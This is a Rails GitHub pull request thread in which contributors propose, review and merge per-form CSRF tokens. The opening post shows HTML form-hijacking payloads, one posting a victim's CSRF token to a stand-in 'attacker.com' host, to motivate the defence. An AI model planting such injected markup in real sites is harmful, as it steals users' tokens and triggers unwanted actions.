Per-form CSRF tokens #22275

btoews · 2015-11-12T15:31:27Z

For sites using CSP, one of the biggest risks of content-injection is form hijacking. For example, on a page like

<!-- some xss vulnerability here -->
<form method="post" action="/innocuous">
 <input type="hidden" name="authenticity_token" value="thetoken">
</form>

an attacker can inject their own unclosed form tag.

<form method="post" action="//attacker.com/tokens"><!-- xss -->
<form method="post" action="/innocuous">
 <input type="hidden" name="authenticity_token" value="thetoken">
</form>

Because nested form elements aren't allowed in HTML, the attacker's tag will supersede the legitimate one and inherit its CSRF token input tag. If the form is submitted, the CSRF token will go to attacker.com.

This can be largely mitigated by using CSP with the form-action directive, to specify that forms cannot be posted cross-origin. An attacker with a content-injection vulnerability is then limited to hijacking forms to make same-origin requests. This can unfortunately still be quite impactful:

<form method="post" action="/user/change_password"><!-- xss -->
<form method="post" action="/innocuous">
 <input type="hidden" name="authenticity_token" value="thetoken">
</form>

One mitigation for this kind of attack is to require that every form tag have a nonce that matches a value in some meta tag. We currently implement this method at GitHub using JavaScript to detect/delete injected form tags. w3c/webappsec-csp#20 is a proposal to add this mitigation to CSP itself.

Another mitigation would be to have each CSRF token be valid only for the method/action of the form it was included in. We wrote an implementation of this for our fork of Rails and would like to forwardport/upstream the feature if there is interest. Unfortunately, the BREACH mitigation we wrote (#16570 took too long) is fairly different from the upstream one and our per-form CSRF token changes don't apply cleanly.

The questions I have for @rails/security are:

The attack described here is very niche. Is this worth upstreaming?
Would you want it to be backwards compatible (are API changes okay)?

If it's deemed worthwhile, I'll be happy to try to port our changes to this branch, but I wanted to ask before putting in the effort. f9a1bfb lays much of the groundwork by passing the form method/action to form_authenticity_token. Even if per-form CSRF tokens aren't added to mainstream Rails, we'd love to see that commit merged to reduce the monkey patching required for our implementation and to make it easier for others to implement themselves.

/cc @ptoomey3 @oreoshake @gregose
Further reading on CSP bypasses: http://lcamtuf.coredump.cx/postxss/ http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/

rails-bot · 2015-11-12T15:31:31Z

Thanks for the pull request, and welcome! The Rails team is excited to review your changes, and you should hear from @rafaelfranca (or someone else) soon.

If any changes to this PR are deemed necessary, please add them as extra commits. This ensures that the reviewer can see what has changed since they last reviewed the code. Due to the way GitHub handles out-of-date commits, this should also make it reasonably obvious what issues have or haven't been addressed. Large or tricky changes may require several passes of review and changes.

Please see the contribution instructions for more information.

rafaelfranca · 2015-11-12T15:57:48Z

cc @rails/security

jeremy · 2015-11-12T16:25:38Z

Nice—definitely worth upstreaming! Preserving compatibility is a priority, though. Perhaps checking form_authenticity_token arity is enough?

jeremy · 2015-11-12T16:26:51Z

actionpack/lib/action_controller/metal/request_forgery_protection.rb

@@ -262,7 +262,7 @@ def verified_request?
      end

      # Sets the token value for the current session.
-      def form_authenticity_token
+      def form_authenticity_token(action_path=nil, method=nil)


Passing the form html options as keyword args would make it easy for others to do custom tokens and give some measure of forward-compat.

btoews · 2015-11-12T16:34:26Z

Nice—definitely worth upstreaming! Preserving compatibility is a priority, though. Perhaps checking form_authenticity_token arity is enough?

Okay. I pushed up my initial spike at per-form tokens (61506e4). It feels pretty hacky adding it with the current APIs. I was kind of hoping you didn't care about backwards compatibility 😉.

I'll work on cleaning this up and adding tests over the next couple days.

timbreitkreutz · 2015-11-13T05:16:35Z

actionview/lib/action_view/helpers/form_tag_helper.rb

-              token_tag(authenticity_token)
+              token_tag(authenticity_token, form_options: {
+                :action => html_options["action"],
+                :method => "post"


1.9 syntax?

token_tag(authenticity_token, form_options: { action: html_options["action"], method: "post" }

btoews · 2015-11-25T04:28:41Z

After significant debugging (resulting in #22402), I got some simple tests written for this feature. I'll work on testing edge cases tomorrow.

pixeltrix · 2015-11-25T11:48:02Z

@mastahyeti @jeremy in #21948 we discussed using a permanent cookie for CSRF tokens - this PR will obviously complicate things if we wanted to go down that route.

btoews · 2015-11-25T15:42:09Z

@pixeltrix This PR shouldn't be complicated by using a permanent cookie for storing the CSRF token. That change would probably just be to #real_csrf_token, changing it to grab the raw token value from a different place.

btoews · 2015-12-01T15:46:24Z

@jeremy I've written a number of tests and am feeling good about this branch. I'd love a set of 👀 when you have a chance.

reedloden · 2015-12-30T22:16:35Z

Any updates on this? Would love to have this functionality. Great improvement to security over the current CSRF implementation.

filedescriptor · 2015-12-31T04:10:09Z

Just so you guys aren't convinced yet, here's a real attack against Twitter https://blog.innerht.ml/csp-2015/

reedloden · 2015-12-31T04:16:11Z

actionpack/lib/action_controller/metal/request_forgery_protection.rb

@@ -77,6 +77,10 @@ module RequestForgeryProtection
      config_accessor :log_warning_on_csrf_failure
      self.log_warning_on_csrf_failure = true

+      # Contols whether form-action/method specific CSRF tokens are used.


rafaelfranca · 2015-12-31T07:00:54Z

@mastahyeti Just a minor comments to be addressed and we are good to go. Also don't forget to add a CHANGELOG entry and squash your commits

ptoomey3 · 2015-12-31T15:09:40Z

actionpack/lib/action_controller/metal/request_forgery_protection.rb

+
+        # The per-form token needs to be the same size as a normal token to
+        # preserve the masking logic. It's safe to truncate an HMAC by up to
+        # half, according to RFC2104 section 5.


Minor nit. It happens that AUTHENTICITY_TOKEN_LENGTH is currently half the length of a hex SHA256 digest output. So, it is technically fine, but also slightly fragile to changes in the future (ex. we update the implementation to use SHA3-384 in the future). Someone reading the comment in the future might think that this "up to half" calculation had been taken into account in AUTHENTICITY_TOKEN_LENGTH.

The per-form token needs to be the same size as a normal token to preserve the masking logic.

In theory this hmac implementation could do away with the xor based masking by incorporating the one-time-pad into the actual HMAC computation itself. That would free us from having to match the lengths. That said, I understand the appeal of having the lengths match for ease of implementation.

Also...maybe I skimmed over the original code too quickly. But, it appears that if you used OpenSSL::HMAC.digest instead of OpenSSL::HMAC.hexdigest you could get away with the full hmac, no? The original implementation calls real_csrf_token in https://github.com/rails/rails/pull/22275/files#diff-c07f67f5a7946bbd9c38ba8283aea967R298. That call returns the result of a base64 decode in https://github.com/rails/rails/pull/22275/files#diff-c07f67f5a7946bbd9c38ba8283aea967R369. So, I think the original implementation ends up xoring the one time pad with 32 bytes of binary data. So, we may as well return 32 bytes of binary data rather than 32 hex characters.

Seems right. Not sure why I thought this needed to be hex. I might also add a test to ensure that the per-form token length is the same as AUTHENTICITY_TOKEN_LENGTH.

btoews · 2016-01-04T19:39:55Z

I addressed all the line comments from above. I also (kind of) squashed my commits. I ran into the same trouble squashing as in #22263 (comment) because of having merged in master a few times.

Per-form CSRF tokens

rafaelfranca · 2016-01-06T04:55:31Z

Awesome! Thank you so much.

infoman · 2016-01-09T23:36:33Z

If the attacker can insert arbitrary HTML in your forms, than you have more security issues than just sending form to undesired address. What if it's a login form and it's send to attacker's server? You can't do anything with the csrf token here, because the auth credentials already leaked and the attacker can just go and enter them, and the csrf token will be valid in that case.

ptoomey3 · 2016-01-10T00:15:13Z

If the attacker can insert arbitrary HTML in your forms, than you have more security issues than just sending form to undesired address. What if it's a login form and it's send to attacker's server?

As noted at the top of this pull request, per-form csrf tokens are mostly beneficial for sites that have largely mitigated the types of attacks you mentioned. For example, CSP form-action would prevent the attack you cited. But, there are various "CSP bypasses" that may allow a csrf token to be exfiltrated. So, the idea here is to minimize the value in any one disclosure.

Rails 5 introduced[1] the option to generate a different CSRF token for each form. This mitigates a certain type of same-origin content-injection attack[2]. Enabling the option seems sensible and doesn't require any other changes to be made. [1] rails/rails@3e98819e2 [2] rails/rails#22275

rails-bot assigned rafaelfranca Nov 12, 2015

rafaelfranca added the security label Nov 12, 2015

jeremy reviewed Nov 12, 2015
View reviewed changes

timbreitkreutz reviewed Nov 13, 2015
View reviewed changes

btoews mentioned this pull request Nov 25, 2015

Reset PATH_INFO between ActionController tests #22402

Closed

rafaelfranca added this to the 5.0.0 milestone Dec 31, 2015

reedloden reviewed Dec 31, 2015
View reviewed changes

ptoomey3 reviewed Dec 31, 2015
View reviewed changes

add option for per-form CSRF tokens

3e98819

rafaelfranca added a commit that referenced this pull request Jan 6, 2016

Merge pull request #22275 from mastahyeti/per-form-csrf

ced9612

Per-form CSRF tokens

rafaelfranca merged commit ced9612 into rails:master Jan 6, 2016

btoews mentioned this pull request Jan 7, 2016

Fix changelog for per-form CSRF tokens #22966

Merged

maclover7 mentioned this pull request Feb 6, 2016

rails5 form authenticity_tokens don't work #23524

Closed

varyonic added a commit to varyonic/arbo that referenced this pull request Jan 31, 2017

Fix Rails forms integration spec broken by rails/rails#22275.

11825b6

varyonic mentioned this pull request Jan 31, 2017

Fix Rails forms integration spec activeadmin/arbre#63

Merged

david-yz-liu mentioned this pull request Nov 29, 2018

add authenticity token to form in students table MarkUsProject/Markus#3708

Merged

kramer33 mentioned this pull request Jun 11, 2019

Duplicate form authenticity tokens when more than 1 form on the page #32930

Closed

jkowens mentioned this pull request Aug 11, 2020

Rack::Protection together with Rails >=5.2.4.3 & >= 6.0.3.1 - CSRF check is broken sinatra/sinatra#1616

Closed

jkowens mentioned this pull request Oct 9, 2020

Add support for per form csrf tokens sinatra/sinatra#1653

Merged

rafaelfranca mentioned this pull request May 1, 2024

Form tokens are ignored when csrf_meta_tags is present #51695

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Per-form CSRF tokens #22275

Per-form CSRF tokens #22275

btoews commented Nov 12, 2015

rails-bot commented Nov 12, 2015

rafaelfranca commented Nov 12, 2015

jeremy commented Nov 12, 2015

jeremy Nov 12, 2015

btoews commented Nov 12, 2015

timbreitkreutz Nov 13, 2015

btoews commented Nov 25, 2015

pixeltrix commented Nov 25, 2015

btoews commented Nov 25, 2015

btoews commented Dec 1, 2015

reedloden commented Dec 30, 2015

filedescriptor commented Dec 31, 2015

reedloden Dec 31, 2015

rafaelfranca commented Dec 31, 2015

ptoomey3 Dec 31, 2015

ptoomey3 Dec 31, 2015

btoews Jan 4, 2016

btoews commented Jan 4, 2016

rafaelfranca commented Jan 6, 2016

infoman commented Jan 9, 2016

ptoomey3 commented Jan 10, 2016

Per-form CSRF tokens #22275

Per-form CSRF tokens #22275

Conversation

btoews commented Nov 12, 2015

rails-bot commented Nov 12, 2015

rafaelfranca commented Nov 12, 2015

jeremy commented Nov 12, 2015

jeremy Nov 12, 2015

Choose a reason for hiding this comment

btoews commented Nov 12, 2015

timbreitkreutz Nov 13, 2015

Choose a reason for hiding this comment

btoews commented Nov 25, 2015

pixeltrix commented Nov 25, 2015

btoews commented Nov 25, 2015

btoews commented Dec 1, 2015

reedloden commented Dec 30, 2015

filedescriptor commented Dec 31, 2015

reedloden Dec 31, 2015

Choose a reason for hiding this comment

rafaelfranca commented Dec 31, 2015

ptoomey3 Dec 31, 2015

Choose a reason for hiding this comment

ptoomey3 Dec 31, 2015

Choose a reason for hiding this comment

btoews Jan 4, 2016

Choose a reason for hiding this comment

btoews commented Jan 4, 2016

rafaelfranca commented Jan 6, 2016

infoman commented Jan 9, 2016

ptoomey3 commented Jan 10, 2016